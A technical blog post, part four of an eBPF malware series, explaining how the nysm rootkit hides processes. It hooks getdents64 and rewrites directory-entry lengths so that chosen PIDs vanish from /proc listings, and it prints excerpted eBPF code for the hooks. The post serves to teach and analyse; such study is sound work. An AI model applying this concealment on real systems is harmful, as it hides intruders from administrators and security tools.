eBPF Malware Techniques Part 4 - Hiding Processes
eBPF Malware Techniques Series:
- eBPF Malware Techniques Part 1 - Introduction
- eBPF Malware Techniques Part 2 - Setting Appropriate Hooks
- eBPF Malware Techniques Part 3 - Hiding BPF Traces
- eBPF Malware Techniques Part 4 - Hiding Processes
1. Introduction
In this post, we explore techniques employed by eBPF to hide processes. When I wrote my first rootkit that hides targeted directories, my go-to reference was this well-written blog post by TheXcellerator.
As PIDs are tracked under /proc as a directory, there’s no need to re-invent the wheel when it comes to hiding processes. That’s because Linux veterans know that directory listings are handled by the getdents64 syscall — a well-known technique.
However, if you are still relatively new to Linux’s internals, the next section will provide clarity on how the getdents64 syscall works.
2. What is getdents64 Syscall?
You can reliably learn about this syscall from its man page (man getdents64). In addition, we can also search up the function definition in the Linux kernel source code here to see its parameters.
Essentially, the function prototype of getdents64() looks like this:
int getdents64(int fd, struct linux_dirent64 *dirp, int count)
This function takes in 3 parameters:
int fd: The file descriptor of the directory to read.struct linux_dirent64 *dirp: A pointer to a buffer where the directory entries will be stored.int count: The size of the buffer in bytes.
And it returns the number of bytes read into the buffer, or -1 on error.
To dive slightly deeper, let’s break down struct linux_dirent64:
struct linux_dirent64 {
ino64_t d_ino; // Inode number
off64_t d_off; // Offset to the next dirent
unsigned short d_reclen; // Length of this record
unsigned char d_type; // File type (e.g., DT_DIR, DT_REG)
char d_name[]; // Null-terminated filename
};
This structure represents a single directory entry and has 5 members in the structure:
ino64_t d_ino: The inode number of the file.off64_t d_off: The offset to the next directory entry.unsigned short d_reclen: The total size of this directory entry, including the d_name field.unsigned char d_type: The type of the file (e.g., directory, regular file, symbolic link).char d_name[]: The name of the file (null-terminated string).
To tie everything together, what happens is that when getdents64() is called, it fills the provided buffer (dirp) with a series of struct linux_dirent64 entries. Each entry corresponds to a file or subdirectory and has a variable size, determined by the lengths of the d_name and d_reclen fields. The kernel then iterates through the buffer using the d_reclen field to locate the next directory entry.
Here’s a simple example of using the getdents64 syscall to iterate through your files and subdirectories in the current working directory:
#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <stdint.h>
#define BUF_SIZE 1024
struct linux_dirent64 {
__ino64_t d_ino; // Inode number
__off64_t d_off; // Offset to the next dirent
unsigned short d_reclen; // Length of this record
unsigned char d_type; // File type (e.g., DT_DIR, DT_REG)
char d_name[]; // Null-terminated filename
};
int main() {
int fd = open(".", O_RDONLY | O_DIRECTORY);
if (fd == -1) {
perror("open");
return 1;
}
char buf[BUF_SIZE];
ssize_t nread;
while ((nread = syscall(SYS_getdents64, fd, buf, BUF_SIZE)) > 0) {
struct linux_dirent64 *d;
for (int bpos = 0; bpos < nread; bpos += d->d_reclen) {
d = (struct linux_dirent64 *)(buf + bpos);
printf("Name: %s, Inode: %llu, Type: %u\n", d->d_name, (unsigned long long)d->d_ino, d->d_type);
}
}
if (nread == -1) {
perror("getdents64");
}
close(fd);
return 0;
}
3. Methodology on Hiding Processes
Now that we better understand how to iterate through directory entries, we can basically do the following high-level steps to hide our processes:
- For each directory entry, check if the PID is our target
- If it is, then update the previous directory entry’s d_reclen to skip over the current directory entry
The pseudocode below reiterates the concept:
pid = atoi(d_name)
if (pid == target_pid) {
...
previous_d_reclen += current_d_reclen
...
}
4. Github Project - eeriedusk/nysm
The nysm project uses eBPF to hide specific PIDs from directory listings. This involves a combination of hooks and user-space logic to track, manage, and hide PIDs.
4.1 Tracking PIDs to Hide
The first step is to track the PIDs that need to be hidden. This is achieved through the kretprobe hook on alloc_pid(), which is triggered when a new PID is allocated.
SEC("kretprobe/alloc_pid")
int BPF_KRETPROBE(alloc_pid_exit, void *ret_pid) {
struct upid numbers = {};
if (bpf_get_ns() != pidns) return 0;
bpf_probe_read(&numbers, sizeof(numbers), ret_pid+offsetof(struct pid, numbers));
bpf_map_update_elem(&map_alloc_pid_pid_data, &numbers.nr, &numbers.nr, BPF_ANY);
return 0;
}
According to the listing above, nysm only keeps track of processes that are from the same namespace. It then proceeds to update map_alloc_pid_pid_data only with its own PID and children process PIDs.
4.2 Cleaning Up Tracked PIDs
When a process exits, its PID is no longer valid and should be removed from the tracking map. This is handled by the kprobe hook on free_pid().
SEC("kprobe/free_pid")
int BPF_KPROBE(free_pid, struct pid *pid) {
struct upid numbers = {};
if (bpf_get_ns() != pidns) return 0;
bpf_probe_read(&numbers, sizeof(numbers), pid->numbers);
if (!bpf_map_lookup_elem(&map_alloc_pid_pid_data, &numbers.nr)) return 0;
if (bpf_map_delete_elem(&map_alloc_pid_pid_data, &numbers.nr)) return 0;
return 0;
}
Again, nysm only monitors processes from the same namespace. It does a map lookup for the PID being released. If this PID exists in map_alloc_pid_pid_data, then it is deleted from the map.
4.3 Storing Directory Entries
Now that nysm has a way to keep track and remove the PIDs to hide, the next step is to use a tracepoint hook on sys_enter_getdents64.
SEC("tracepoint/syscalls/sys_enter_getdents64")
int tracepoint_getdents64_enter(struct enter_getdents64_format *ctx) {
void *dirent = ctx->dirent;
uint32_t tgid = bpf_get_current_pid_tgid() >> 32;
...
if (bpf_get_ns() == pidns) return 0;
...
bpf_map_update_elem(&map_getdents64_pid, &tgid, &dirent, BPF_ANY);
return 0;
}
When a process that triggers this hook does not belong to the same namespace as nysm, the program stores the directory entry buffer pointer in the map_getdents64_pid map, associating it with the process’s tgid. This allows the buffer to be accessed later at the tracepoint for sys_exit_getdents64.
4.4 Processing Directory Entries
Now that the relevant directory entries are stored in the map, processing is needed via a tracepoint hook on sys_exit_getdents64.
#define DIRENT_BPF_LOOP 128
...
SEC("tracepoint/syscalls/sys_exit_getdents64")
int tracepoint_getdents64_exit(struct exit_format *ctx) {
...
if (bpf_get_ns() == pidns) return 0;
if (bpf_map_read_elem(&dirent_ptr, sizeof(dirent_ptr), &map_getdents64_pid, tgid)) return 0;
...
for (int i = 0; i < DIRENT_BPF_LOOP; i++) {
bpf_probe_read(&dirent, sizeof(dirent), dirent_ptr + data.offset);
bpf_probe_read(&d_name, sizeof(d_name), ((struct linux_dirent64 *)(dirent_ptr + data.offset))->d_name);
bpf_probe_read(&d_type, sizeof(d_type), &((struct linux_dirent64 *)(dirent_ptr + data.offset))->d_type);
/* Trucated Code - Refer to Section 4.5 */
...
data.old_offset = data.offset;
data.offset += dirent.d_reclen;
...
}
...
if (data.offset < ret) bpf_tail_call(ctx, &map_getdents64_recursive_tail_call, 1);
...
}
The snippet above shows that this hook iterates through and processes directory entries 128 times before doing a tail call back to the start of this tracepoint. This limitation exists because eBPF programs can only execute a limited number of instructions per invocation. By limiting the loop to 128 iterations, the program ensures it stays within these constraints while processing large directory buffers. The tail call mechanism allows the program to continue processing the remaining entries in subsequent invocations.
The configuration for the tail call is handled in nysm.c, where the tracepoint_getdents64_exit() program is added to the map_getdents64_recursive_tail_call hash map using a key value of 1.
...
int32_t index = 1;
int32_t prog = bpf_program__fd(nysm->progs.tracepoint_getdents64_exit);
int32_t ret = bpf_map_update_elem(bpf_map__fd(nysm->maps.map_getdents64_recursive_tail_call), &index, &prog, BPF_ANY);
if (ret == -1) goto cleanup;
...
4.5 Hiding Tracked PIDs
Continuing our analysis from the truncated portion in Listing 8, the directory entry name is first converted to an integer.
pid = atoi(d_name);
Then it checks whether the PID exists in the map_alloc_pid_pid_data hash map, where it previously stored a set of PIDs that needs to be hidden. (Recall Section 4.1)
if (bpf_map_lookup_elem(&map_alloc_pid_pid_data, &pid)) {
/* Truncated Code - See Listing 12*/
...
}
If this is the first hidden entry encountered (data.d_reclen == 0), the program calculates a d_reclen for the previous entry by adding the size of the current entry (dirent.d_reclen) to the gap between the current and previous entries (data.offset - data.old_offset). Then, it stores the offset of the previous entry in data.change_me.
Otherwise, for subsequent consecutive entries to be hidden, the program accumulates their sizes in data.d_reclen.
if (!data.d_reclen) {
data.d_reclen = (data.offset-data.old_offset)+dirent.d_reclen;
data.change_me = data.old_offset;
} else {
data.d_reclen += dirent.d_reclen;
}
At the other branching statement of Listing 11 when it encounters a non-tracked PID, it checks if there are hidden entries (data.d_reclen > 0) and if the program has stored the offset of the previous entry (data.change_me), it writes the updated d_reclen value to the previous entry in the directory entries buffer. This ultimately causes hidden entries to be skipped when the directory entries buffer is processed by user-space programs.
else if (data.d_reclen && data.change_me && d_type == DT_DIR) {
bpf_probe_write_user(&((struct linux_dirent64 *)(dirent_ptr+data.change_me))->d_reclen, &data.d_reclen, sizeof(data.d_reclen));
...
}
5. Conclusion
One of the biggest takeaways here is that even though the logic of hiding a PID is simple, implementing it safely and correctly under eBPF’s strict verification rules — especially when dealing with pointer arithmetic and loops — is non-trivial. You must be meticulous about bounds checking, tail calls, and ensuring consistent behavior across invocations.
You can also check out pidhide, which is another eBPF application that uses the same technique but implements the logic slightly differently.
Now that you are armed with dangerous knowledge, it is time to get your hands dirty. Adios!
6. Resources
eBPF Malware Techniques Series:
- eBPF Malware Techniques Part 1 - Introduction
- eBPF Malware Techniques Part 2 - Setting Appropriate Hooks
- eBPF Malware Techniques Part 3 - Hiding BPF Traces
- eBPF Malware Techniques Part 4 - Hiding Processes